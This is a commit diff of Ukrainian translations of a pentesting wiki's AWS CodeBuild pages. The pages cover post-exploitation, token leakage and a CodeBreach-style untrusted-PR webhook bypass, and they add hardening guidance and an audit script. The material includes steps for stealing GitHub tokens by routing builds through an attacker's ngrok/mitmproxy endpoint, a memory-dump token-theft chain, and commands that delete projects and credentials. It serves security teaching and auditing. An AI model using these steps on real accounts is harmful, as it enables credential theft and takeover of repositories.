Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws

This commit is contained in:
Translator
2026-02-03 12:52:44 +00:00
parent 77990ce161
commit 6ee11cc763
3 changed files with 294 additions and 60 deletions
@@ -4,7 +4,7 @@
## CodeBuild
Для отримання додаткової інформації, перегляньте:
For more information, check:
{{#ref}}
../../aws-services/aws-codebuild-enum.md
@@ -12,35 +12,35 @@
### Перевірка секретів
Якщо облікові дані були налаштовані в Codebuild для підключення до Github, Gitlab або Bitbucket у формі особистих токенів, паролів або доступу через OAuth, ці **облікові дані будуть зберігатися як секрети в менеджері секретів**.\
Отже, якщо у вас є доступ для читання менеджера секретів, ви зможете отримати ці секрети та перейти до підключеної платформи.
Якщо облікові дані були налаштовані в Codebuild для підключення до Github, Gitlab або Bitbucket у вигляді персональних токенів, паролів або доступу через OAuth, ці **credentials будуть збережені як secrets у secret manager**.\
Отже, якщо у вас є доступ для читання secret manager, ви зможете отримати ці secrets і перейти на підключену платформу.
{{#ref}}
../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md
{{#endref}}
### Зловживання доступом до репозиторію CodeBuild
### Зловживання доступом CodeBuild до репозиторію
Щоб налаштувати **CodeBuild**, йому буде потрібен **доступ до репозиторію коду**, який він буде використовувати. Кілька платформ можуть хостити цей код:
Щоб налаштувати **CodeBuild**, йому потрібен **доступ до code repo**, який він використовуватиме. Цей код можуть розміщувати різні платформи:
<figure><img src="../../../../images/image (96).png" alt=""><figcaption></figcaption></figure>
**Проект CodeBuild повинен мати доступ** до налаштованого постачальника джерел, або через **IAM роль**, або з токеном github/bitbucket **або доступом через OAuth**.
**Проект CodeBuild повинен мати доступ** до налаштованого source provider, або через **IAM role**, або за допомогою github/bitbucket **token або OAuth access**.
Зловмисник з **підвищеними правами в CodeBuild** може зловживати цим налаштованим доступом, щоб витікати код налаштованого репозиторію та інших, до яких мають доступ встановлені облікові дані.\
Для цього зловмиснику потрібно лише **змінити URL репозиторію на кожен репозиторій, до якого мають доступ налаштовані облікові дані** (зверніть увагу, що веб-сайт aws перераховує всі з них для вас):
Атакувач з **підвищеними правами над CodeBuild** може зловживати цим доступом, щоб leak код сконфігурованого репозиторію та інших репозиторіїв, до яких мають доступ налаштовані creds.\
Щоб це зробити, атакуючому потрібно просто **змінити URL репозиторію на кожен репо, до якого мають доступ конфігураційні credentials** (зверніть увагу, aws web виведе всі для вас):
<figure><img src="../../../../images/image (107).png" alt=""><figcaption></figcaption></figure>
І **змінити команди Buildspec для ексфільтрації кожного репозиторію**.
І **змінити Buildspec команди для exfiltrate кожного репо**.
> [!WARNING]
> Однак це **завдання є повторюваним і нудним**, і якщо токен github був налаштований з **правами на запис**, зловмисник **не зможе (зловживати) цими правами**, оскільки не має доступу до токена.\
> Або має? Перевірте наступний розділ
> Однак це **завдання рутинне і нудне**, і якщо github token було налаштовано з **write permissions**, атакуючий **не зможе (ab)use ті права**, оскільки він не має доступу до token.\
> Або ж таки зможе? Дивіться наступний розділ
### Витікання токенів доступу з AWS CodeBuild
### Leaking Access Tokens from AWS CodeBuild
Ви можете витікати доступ, наданий у CodeBuild, до платформ, таких як Github. Перевірте, чи був наданий доступ до зовнішніх платформ:
You can leak access given in CodeBuild to platforms like Github. Check if any access to external platforms was given with:
```bash
aws codebuild list-source-credentials
```
@@ -48,29 +48,37 @@ aws codebuild list-source-credentials
aws-codebuild-token-leakage.md
{{#endref}}
### Ненадійне виконання PR через неправильну конфігурацію фільтрів webhook
Якщо фільтри webhook слабкі, зовнішні атакувальники можуть змусити побудувати їхні PR у привілейованих проектах CodeBuild і потім виконати довільний код у CI.
{{#ref}}
aws-codebuild-untrusted-pr-webhook-bypass.md
{{#endref}}
### `codebuild:DeleteProject`
Зловмисник може видалити цілий проект CodeBuild, що призведе до втрати конфігурації проекту та вплине на програми, які покладаються на цей проект.
Атакувальник може видалити весь проект CodeBuild, що призведе до втрати конфігурації проекту та вплине на додатки, які залежать від цього проекту.
```bash
aws codebuild delete-project --name <value>
```
**Потенційний вплив**: Втрата конфігурації проекту та порушення роботи для додатків, що використовують видалений проект.
**Можливий вплив**: Втрата конфігурації проекту та порушення роботи сервісу для додатків, які використовують видалений проект.
### `codebuild:TagResource` , `codebuild:UntagResource`
Зловмисник може додавати, змінювати або видаляти теги з ресурсів CodeBuild, порушуючи політики розподілу витрат, відстеження ресурсів та контролю доступу вашої організації на основі тегів.
Зловмисник може додавати, змінювати або видаляти теги з ресурсів CodeBuild, що порушує розподіл витрат у вашій організації, відстеження ресурсів та політики контролю доступу, що базуються на тегах.
```bash
aws codebuild tag-resource --resource-arn <value> --tags <value>
aws codebuild untag-resource --resource-arn <value> --tag-keys <value>
```
**Потенційний вплив**: Порушення розподілу витрат, відстеження ресурсів та політик контролю доступу на основі тегів.
**Потенційний вплив**: Перебої у розподілі витрат, відстеженні ресурсів та політиках контролю доступу на основі тегів.
### `codebuild:DeleteSourceCredentials`
Зловмисник може видалити облікові дані джерела для репозиторію Git, що вплине на нормальне функціонування додатків, які покладаються на репозиторій.
Атакуючий може видалити облікові дані джерела для Git-репозиторію, що вплине на нормальну роботу застосунків, які залежать від цього репозиторію.
```sql
aws codebuild delete-source-credentials --arn <value>
```
**Потенційний вплив**: Порушення нормального функціонування для додатків, що залежать від ураженого репозиторію, через видалення облікових даних джерела.
**Потенційний вплив**: Порушення нормальної роботи додатків, що залежать від постраждалого репозиторію через видалення облікових даних джерела.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -2,47 +2,47 @@
{{#include ../../../../banners/hacktricks-training.md}}
## Відновлення налаштованих Github/Bitbucket Tokens
## Відновлення Github/Bitbucket налаштованих Tokens
Спочатку перевірте, чи є налаштовані source credentials, які ви могли б leak:
Спочатку перевірте, чи є які-небудь налаштовані source credentials, які ви могли б leak:
```bash
aws codebuild list-source-credentials
```
### Via Docker Image
### Через Docker Image
Якщо ви виявите, що аутентифікація, наприклад до Github, налаштована в акаунті, ви можете **exfiltrate** той **доступ** (**GH token or OAuth token**), змусивши Codebuild **use an specific docker image** для запуску збірки проєкту.
Якщо ви виявите, що в акаунті налаштована автентифікація, наприклад до Github, ви можете **exfiltrate** цей **access** (**GH token або OAuth token**), змусивши Codebuild **use an specific docker image** для запуску збірки проекту.
Для цього ви можете **create a new Codebuild project** або змінити **environment** існуючого, щоб встановити **Docker image**.
The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Це дуже базовий Docker image, який встановлює **env variables `https_proxy`**, **`http_proxy`** та **`SSL_CERT_FILE`**. Це дозволить вам перехоплювати більшість трафіку хоста, вказаного в **`https_proxy`** та **`http_proxy`**, і довіряти SSL CERT, вказаному в **`SSL_CERT_FILE`**.
The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Це дуже базовий Docker image, який встановить **env variables `https_proxy`**, **`http_proxy`** та **`SSL_CERT_FILE`**. Це дозволить вам перехоплювати більшість трафіку хоста, вказаного в **`https_proxy`** і **`http_proxy`**, і довіряти SSL CERT, вказаному в **`SSL_CERT_FILE`**.
1. **Create & Upload your own Docker MitM image**
- Дотримуйтесь інструкцій репо, щоб вказати IP-адресу проксі, встановити ваш SSL cert та **build the docker image**.
- **DO NOT SET `http_proxy`** щоби не перехоплювати запити до metadata endpoint.
- Дотримуйтесь інструкцій репозиторію, щоб вказати IP-адресу проксі та SSL сертифікат і **збудувати Docker image**.
- **DO NOT SET `http_proxy`** щоб не перехоплювати запити до metadata endpoint.
- Ви можете використати **`ngrok`**, наприклад `ngrok tcp 4444`, щоб встановити проксі на ваш хост
- Після того, як Docker image збудовано, **upload it to a public repo** (Dockerhub, ECR...)
- Після того як ви збудуєте Docker image, **upload it to a public repo** (Dockerhub, ECR...)
2. **Set the environment**
- Create a **new Codebuild project** або **modify** environment існуючого проєкту.
- Set the project to use the **previously generated Docker image**
- Створіть **new Codebuild project** або змініть **environment** існуючого.
- Встановіть у проекті використання **previously generated Docker image**
<figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>
3. **Set the MitM proxy in your host**
3. **Встановіть MitM proxy на вашому хості**
- Як вказано в **Github repo** ви можете використати щось на кшталт:
- Як вказано в **Github repo**, ви можете використати щось на кшталт:
```bash
mitmproxy --listen-port 4444 --allow-hosts "github.com"
```
> [!TIP]
> Використовувалась версія **mitmproxy 9.0.1**, повідомлялося, що з версією 10 це може не працювати.
> Використана версія **mitmproxy 9.0.1**, повідомлялося, що з версією 10 це може не працювати.
4. **Запустіть збірку та перехопіть облікові дані**
4. **Запустіть build та перехопіть credentials**
- Ви можете побачити token у заголовку **Authorization**:
<figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>
Це також можна зробити з aws cli за допомогою команди на кшталт
Це також можна зробити через aws cli за допомогою команди на кшталт
```bash
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
@@ -74,14 +74,14 @@ aws codebuild start-build --project-name my-project2
### Через insecureSSL
**Codebuild** projects have a setting called **`insecureSsl`** that is hidden in the web you can only change it from the API.\
Увімкнення цього дозволяє Codebuild підключатися до репозиторію **без перевірки сертифіката**, який пропонує платформа.
Увімкнення цього дозволяє Codebuild підключатися до репозиторію **без перевірки сертифіката**, який надає платформа.
- Спочатку потрібно перелічити поточну конфігурацію за допомогою чогось на кшталт:
```bash
aws codebuild batch-get-projects --name <proj-name>
```
- Потім, використовуючи зібрану інформацію, ви можете оновити налаштування проекту **`insecureSsl`** на **`True`**. Нижче наведено приклад мого оновлення проекту, зверніть увагу на **`insecureSsl=True`** в кінці (це єдине, що потрібно змінити у зібраній конфігурації).
- Крім того, додайте також змінні оточення **http_proxy** та **https_proxy**, що вказують на ваш tcp ngrok, наприклад:
- Потім, маючи зібрану інформацію, ви можете оновити налаштування проекту **`insecureSsl`** на **`True`**. Наведено приклад мого оновлення проекту, зверніть увагу на **`insecureSsl=True`** в кінці (це єдине, що потрібно змінити у зібраній конфігурації).
- Крім того, додайте також змінні оточення **http_proxy** та **https_proxy**, які вказують на ваш tcp ngrok, наприклад:
```bash
aws codebuild update-project --name <proj-name> \
--source '{
@@ -115,7 +115,7 @@ aws codebuild update-project --name <proj-name> \
]
}'
```
- Потім запустіть базовий приклад з [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) на порту, вказаному змінними proxy (http_proxy та https_proxy)
- Потім запустіть базовий приклад з [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) на порту, вказаному в proxy variables (http_proxy and https_proxy)
```python
from mitm import MITM, protocol, middleware, crypto
@@ -128,24 +128,24 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
- Нарешті, натисніть на **Build the project**, **credentials** будуть **відправлені у відкритому вигляді** (base64) на mitm-порт:
- Нарешті, натисніть на **Build the project**, **облікові дані** будуть **відправлені у відкритому тексті** (base64) на порт mitm:
<figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>
### ~~Через HTTP-протокол~~
### ~~Через протокол HTTP~~
> [!TIP] > **Цю вразливість AWS виправили приблизно на тижні 20 лютого 2023 року (як гадаю, у п'ятницю). Тому нападник більше не може її зловживати :)**
> [!TIP] > **Ця вразливість була виправлена AWS десь на тижні, що починався 20 лютого 2023 року (мабуть у пятницю). Тож атакувати її вже не можна :)**
Зловмисник з **підвищеними правами в CodeBuild** міг leak налаштований токен Github/Bitbucket або, якщо права були налаштовані через OAuth, **тимчасовий OAuth токен, що використовується для доступу до коду**.
Зловмисник з **підвищеними правами в CodeBuild може leak налаштований Github/Bitbucket token**, або якщо права були налаштовані через OAuth, **тимчасовий OAuth token, який використовується для доступу до коду**.
- Зловмисник може додати змінні середовища **http_proxy** та **https_proxy** до проекту CodeBuild, вказавши на свою машину (наприклад `http://5.tcp.eu.ngrok.io:14972`).
- Зловмисник може додати змінні середовища **http_proxy** і **https_proxy** до проекту CodeBuild, вказуючи на свою машину (наприклад `http://5.tcp.eu.ngrok.io:14972`).
<figure><img src="../../../../images/image (232).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../images/image (213).png" alt=""><figcaption></figcaption></figure>
- Потім змініть URL репозиторію github, щоб використовувати HTTP замість HTTPS, наприклад: `http://github.com/carlospolop-forks/TestActions`
- Далі запустіть базовий приклад з [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) на порту, вказаному змінними proxy (http_proxy та https_proxy)
- Після цього запустіть базовий приклад з [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) на порту, вказаному змінними proxy (http_proxy та https_proxy)
```python
from mitm import MITM, protocol, middleware, crypto
@@ -162,28 +162,19 @@ mitm.run()
```sh
aws codebuild start-build --project-name <proj-name>
```
- Нарешті, **облікові дані** будуть **відправлені у відкритому вигляді** (base64) на mitm port:
- Нарешті, **облікові дані** будуть **відправлені у відкритому вигляді** (base64) на порт mitm:
<figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>
> [!WARNING]
> Тепер атакуючий зможе використовувати токен зі своєї машини, переглянути всі його привілеї та легше зловживати ними, ніж при прямому використанні сервісу CodeBuild.
> Тепер attacker зможе використати token зі своєї машини, переглянути всі привілеї, які він має, і (ab)use легше, ніж безпосередньо використовуючи сервіс CodeBuild.
## Фільтр webhook — обхід allowlist для ACTOR_ID regex (PR-triggered privileged builds)
## Виконання неперевіреного PR через неправильну конфігурацію фільтра webhook
Неправильно налаштовані CodeBuild GitHub webhooks, які використовують незакріплені `ACTOR_ID` regexes, дозволяють *ненадійним* PR запускати привілейовані збірки. Якщо allowlist має вигляд `123456|7890123` без `^`/`$`, будь-який ID, що містить одну з цих підрядків, співпаде. Оскільки GitHub user IDs є послідовними, атакуючий може змагатися за реєстрацію «eclipsing» ID (суперстрока довіреного ID) і ініціювати збірку.
Для PR-triggered webhook bypass chain (`ACTOR_ACCOUNT_ID` regex + untrusted PR execution), перевірте:
**Шлях експлуатації**
1. Знайти публічні CodeBuild проекти з оприлюдненими webhook-фільтрами та витягти незакріплений `ACTOR_ID` allowlist.
2. Отримати eclipsing GitHub ID:
- Пробувати значення глобального лічильника ID, створюючи/видаляючи GitHub orgs (org IDs ділять загальний пул).
- Попередньо ініціюйте багато створень GitHub App manifest і активуйте confirmation URLs, коли лічильник буде приблизно в ~100 IDs від цілі, щоб швидко зареєструвати bot ID, який містить довірений підрядок.
3. Відкрийте PR з eclipsing акаунта; regex співпаде з підрядком і запуститься привілейована збірка.
4. Використати build RCE (наприклад, hooks при встановленні залежностей) для дампу пам'яті процесу, який обробляє облікові дані GitHub, і відновити PAT/OAuth token.
5. Маючи token зі scope `repo`, запросіть свій акаунт як collaborator/admin і push/approve шкідливі коміти або ексфільтруйте секрети.
## Посилання
- [Wiz: CodeBreach AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild)
{{#ref}}
aws-codebuild-untrusted-pr-webhook-bypass.md
{{#endref}}
{{#include ../../../../banners/hacktricks-training.md}}
@@ -0,0 +1,235 @@
# AWS CodeBuild - Untrusted PR Webhook Bypass (CodeBreach-style)
{{#include ../../../../banners/hacktricks-training.md}}
Цей вектор атаки виникає, коли **публічний PR workflow** підключено до **привілейованого проекту CodeBuild** з ненадійними контролями webhook.
Якщо зовнішній атакуючий може змусити CodeBuild виконати їхній pull request, зазвичай це дає змогу отримати **довільне виконання коду всередині build** (скрипти збірки, hooks залежностей, тестові скрипти тощо), а далі перескочити на секрети, IAM credentials або credentials провайдера репозиторію.
## Чому це небезпечно
Фільтри webhook у CodeBuild оцінюються за допомогою regex-патернів (для фільтрів, що не `EVENT`). У фільтрі `ACTOR_ACCOUNT_ID` це означає, що слабкий патерн може співпадати з більшою кількістю користувачів, ніж передбачалося.
Якщо в проекті будуються ненадійні PR і цей проект має привілеї AWS role або credentials GitHub, це може перетворитися на повний compromise ланцюжка постачання.
Wiz продемонструвала практичний ланцюжок, де:
1. У allowlist для actor webhook використовувався **унанкорований regex**.
2. Атакуючий зареєстрував GitHub ID, який співпадав як **superstring** довіреного ID.
3. Зловмисний PR тригернув CodeBuild.
4. Виконання коду в build використали для дампу пам’яті та відновлення credentials/tokens провайдера сорсу.
## Misconfigurations that allow external PR code execution
Нижче наведені високоризикові помилки конфігурації та як їх зловживають:
1. **`EVENT` filters allow untrusted triggers**
- Поширені ризиковані events: `PULL_REQUEST_CREATED`, `PULL_REQUEST_UPDATED`, `PULL_REQUEST_REOPENED`.
- Інші events, які теж можуть стати небезпечними, якщо прив’язані до привілейованих збірок: `PUSH`, `PULL_REQUEST_CLOSED`, `PULL_REQUEST_MERGED`, `RELEASED`, `PRERELEASED`, `WORKFLOW_JOB_QUEUED`.
- Bad: `EVENT="PUSH, PULL_REQUEST_CREATED, PULL_REQUEST_UPDATED"` в привілейованому проекті.
- Better: використовувати approval через PR comment і мінімізувати trigger events для привілейованих проектів.
- Abuse: атакуючий відкриває/оновлює PR або пушить у гілку під своїм контролем, і їхній код виконується в CodeBuild.
2. **`ACTOR_ACCOUNT_ID` regex is weak**
- Bad: неанкоровані патерни типу `123456|7890123`.
- Better: точне анкорування, наприклад `^(123456|7890123)$`.
- Abuse: regex over-match дозволяє неавторизованим GitHub ID проходити allowlist.
3. **Other regex filters are weak or missing**
- `HEAD_REF`
- Bad: `refs/heads/.*`
- Better: `^refs/heads/main$` (або явний список trusted гілок)
- `BASE_REF`
- Bad: `.*`
- Better: `^refs/heads/main$`
- `FILE_PATH`
- Bad: відсутні обмеження по шляху
- Better: виключати ризикові файли, наприклад `^buildspec\\.yml$`, `^\\.github/workflows/.*`, `(^|/)package(-lock)?\\.json$`
- `COMMIT_MESSAGE`
- Bad: довіряти маркеру з вільним матчем на кшталт `trusted`
- Better: не використовувати commit message як межу довіри для виконання PR
- `REPOSITORY_NAME` / `ORGANIZATION_NAME`
- Bad: `.*` в org/global webhooks
- Better: лише точні збіги для repo/org
- `WORKFLOW_NAME`
- Bad: `.*`
- Better: лише точні збіги по імені workflow (або уникати цього як механізму довіри)
- Abuse: атакуючий формує ref/path/message/repo контекст, який задовольняє дозволяючі regex і тригерить збірки.
4. **`excludeMatchedPattern` is misused**
- Неправильне встановлення цього прапора може інвертувати бажану логіку.
- Bad: `FILE_PATH '^buildspec\\.yml$'` з `excludeMatchedPattern=false`, коли намір був блокувати редагування buildspec.
- Better: той самий патерн з `excludeMatchedPattern=true` щоб заборонити збірки, що торкаються `buildspec.yml`.
- Abuse: захисники думають, що вони забороняють ризикові події/шляхи/акторів, але насправді дозволяють їх.
5. **Multiple `filterGroups` create accidental bypasses**
- CodeBuild оцінює групи як OR (достатньо однієї успішної групи).
- Bad: одна сувора група + одна лояльна fallback-група (наприклад, тільки `EVENT=PULL_REQUEST_UPDATED`).
- Better: прибрати fallback-групи, які не примушують обмеження по actor/ref/path.
- Abuse: атакуючому потрібно задовольнити лише найслабшу групу.
6. **Comment approval gate disabled or too permissive**
- `pullRequestBuildPolicy.requiresCommentApproval=DISABLED` найменш безпечний.
- Надто широкі ролі approver-ів зменшують контроль.
- Bad: `requiresCommentApproval=DISABLED`.
- Better: `ALL_PULL_REQUESTS` або `FORK_PULL_REQUESTS` з мінімальними ролями approver-ів.
- Abuse: fork/drive-by PR-и запускаються автоматично без схвалення trusted maintainers.
7. **No restrictive branch/path strategy for PR builds**
- Відсутність defense-in-depth з `HEAD_REF` + `BASE_REF` + `FILE_PATH`.
- Bad: тільки `EVENT` + `ACTOR_ACCOUNT_ID`, без контролю ref/path.
- Better: комбінувати точні `ACTOR_ACCOUNT_ID` + `BASE_REF` + `HEAD_REF` + `FILE_PATH` обмеження.
- Abuse: атакуючий змінює вхідні дані збірки (buildspec/CI/залежності) і отримує довільне виконання команд.
8. **Public visibility + status URL exposure**
- Публічні build/check URL полегшують reconnaissance і ітеративне тестування для атакуючого.
- Bad: `projectVisibility=PUBLIC_READ` з чутливими логами/конфігурацією у публічних збірках.
- Better: тримати проекти приватними, якщо немає вагомої бізнес-потреби, і санітизувати логи/артефакти.
- Abuse: атакуючий виявляє патерни/поведінку проекту, після чого підлаштовує payload-и та спроби обходу.
## Token leakage from memory
У write-up від Wiz пояснюється, що credentials провайдера сорсу присутні в build runtime context і їх можна вкрасти після compromise збірки (наприклад, через дамп пам’яті), що дозволяє takeover репозиторія, якщо scope-и надто широкі.
AWS впровадила жорсткіші заходи після розкриття, але головний урок залишається: **ніколи не виконувати код з ненадійних PR у привілейованих build-контекстах** і припускати, що код під контролем атакуючого спробує викрасти credentials.
Для додаткових технік викрадення credentials у CodeBuild також перевірте:
{{#ref}}
aws-codebuild-token-leakage.md
{{#endref}}
## Finding CodeBuild URLs in GitHub PRs
Якщо CodeBuild повертає статус коміту в GitHub, URL збірки CodeBuild зазвичай видно в:
1. **PR page** -> **Checks** tab (або рядок статусу в Conversation/Commits).
2. **Commit page** -> секція status/checks -> **Details** link.
3. **PR commits list** -> клікнути по check context, прив’язаному до коміту.
Для публічних проектів це посилання може виставляти metadata/config збірки для неавторизованих користувачів.
<details>
<summary>Скрипт: виявити CodeBuild URL-и в PR і перевірити, чи виглядають вони публічними</summary>
```bash
#!/usr/bin/env bash
set -euo pipefail
# Usage:
# ./check_pr_codebuild_urls.sh <owner> <repo> <pr_number>
#
# Requirements: gh, jq, curl
OWNER="${1:?owner}"
REPO="${2:?repo}"
PR="${3:?pr_number}"
for bin in gh jq curl timeout; do
command -v "$bin" >/dev/null || { echo "[!] Missing dependency: $bin" >&2; exit 1; }
done
tmp_commits="$(mktemp)"
tmp_urls="$(mktemp)"
trap 'rm -f "$tmp_commits" "$tmp_urls"' EXIT
gh_api() {
timeout 20s gh api "$@" 2>/dev/null || true
}
# Get all commit SHAs in the PR (bounded call to avoid hangs)
gh_api "repos/${OWNER}/${REPO}/pulls/${PR}/commits" --paginate --jq '.[].sha' > "$tmp_commits"
if [ ! -s "$tmp_commits" ]; then
echo "[!] No commits found (or API call timed out/failed)." >&2
exit 1
fi
echo "[*] PR commits:"
cat "$tmp_commits"
echo
echo "[*] Searching commit statuses/check-runs for CodeBuild URLs..."
while IFS= read -r sha; do
[ -z "$sha" ] && continue
# Classic commit statuses (target_url)
gh_api "repos/${OWNER}/${REPO}/commits/${sha}/status" \
--jq '.statuses[]? | .target_url // empty' 2>/dev/null || true
# GitHub Checks API (details_url)
gh_api "repos/${OWNER}/${REPO}/commits/${sha}/check-runs" \
--jq '.check_runs[]? | .details_url // empty' 2>/dev/null || true
done < "$tmp_commits" | sort -u > "$tmp_urls"
grep -Ei 'codebuild|codebuild\.aws\.amazon\.com|console\.aws\.amazon\.com/.*/codebuild' "$tmp_urls" || true
echo
echo "[*] Public-access heuristic:"
echo " - If URL redirects to signin.aws.amazon.com -> likely not public"
echo " - If URL is directly reachable (HTTP 200) without auth redirect -> potentially public"
echo
cb_urls="$(grep -Ei 'codebuild|codebuild\.aws\.amazon\.com|console\.aws\.amazon\.com/.*/codebuild' "$tmp_urls" || true)"
if [ -z "$cb_urls" ]; then
echo "[*] No CodeBuild URLs found in PR statuses/check-runs."
exit 0
fi
while IFS= read -r url; do
[ -z "$url" ] && continue
final_url="$(timeout 20s curl -4 -sS -L --connect-timeout 5 --max-time 20 -o /dev/null -w '%{url_effective}' "$url" || true)"
code="$(timeout 20s curl -4 -sS -L --connect-timeout 5 --max-time 20 -o /dev/null -w '%{http_code}' "$url" || true)"
if echo "$final_url" | grep -qi 'signin\.aws\.amazon\.com'; then
verdict="NOT_PUBLIC_OR_AUTH_REQUIRED"
elif [ "$code" = "200" ]; then
verdict="POTENTIALLY_PUBLIC"
else
verdict="UNKNOWN_CHECK_MANUALLY"
fi
printf '%s\t%s\t%s\n' "$verdict" "$code" "$url"
done <<< "$cb_urls"
```
Перевірено на сумісність з:
```bash
bash /tmp/check_pr_codebuild_urls.sh carlospolop codebuild-codebreach-ctf-lab 1
```
</details>
## Швидкий чекліст аудиту
```bash
# Enumerate projects
aws codebuild list-projects
# Inspect source/webhook configuration
aws codebuild batch-get-projects --names <project-name>
# Inspect global source credentials configured in account
aws codebuild list-source-credentials
```
Перевірте кожен проект на:
- `webhook.filterGroups`, що містять події PR.
- `ACTOR_ACCOUNT_ID` шаблони, які не заякорені за допомогою `^...$`.
- `pullRequestBuildPolicy.requiresCommentApproval`, рівне `DISABLED`.
- Відсутні обмеження гілок/шляхів.
- Високопривілейований `serviceRole`.
- Ризиковий обсяг прав та повторне використання облікових даних джерела.
## Рекомендації щодо підвищення захисту
1. Вимагати підтвердження коментарем для PR builds (`ALL_PULL_REQUESTS` або `FORK_PULL_REQUESTS`).
2. Якщо використовуєте actor allowlists, заякорюйте regex-и і робіть їх точними.
3. Додайте обмеження `FILE_PATH`, щоб уникнути небезпечних змін у `buildspec.yml` та CI scripts.
4. Відокремте довірені release builds від недовірених PR builds у різні проекти/ролі.
5. Використовуйте тонко-гранульні, найменш привілейовані source-provider tokens (надавайте перевагу виділеним низькопривілейованим ідентичностям).
6. Постійно перевіряйте webhook filters та використання source credentials.
## References
- [Wiz: CodeBreach - AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild)
- [AWS CodeBuild API - WebhookFilter](https://docs.aws.amazon.com/codebuild/latest/APIReference/API_WebhookFilter.html)
- [AWS CLI - codebuild create-webhook](https://docs.aws.amazon.com/cli/latest/reference/codebuild/create-webhook.html)
- [AWS CodeBuild User Guide - Best practices for webhooks](https://docs.aws.amazon.com/codebuild/latest/userguide/webhooks.html)
{{#include ../../../../banners/hacktricks-training.md}}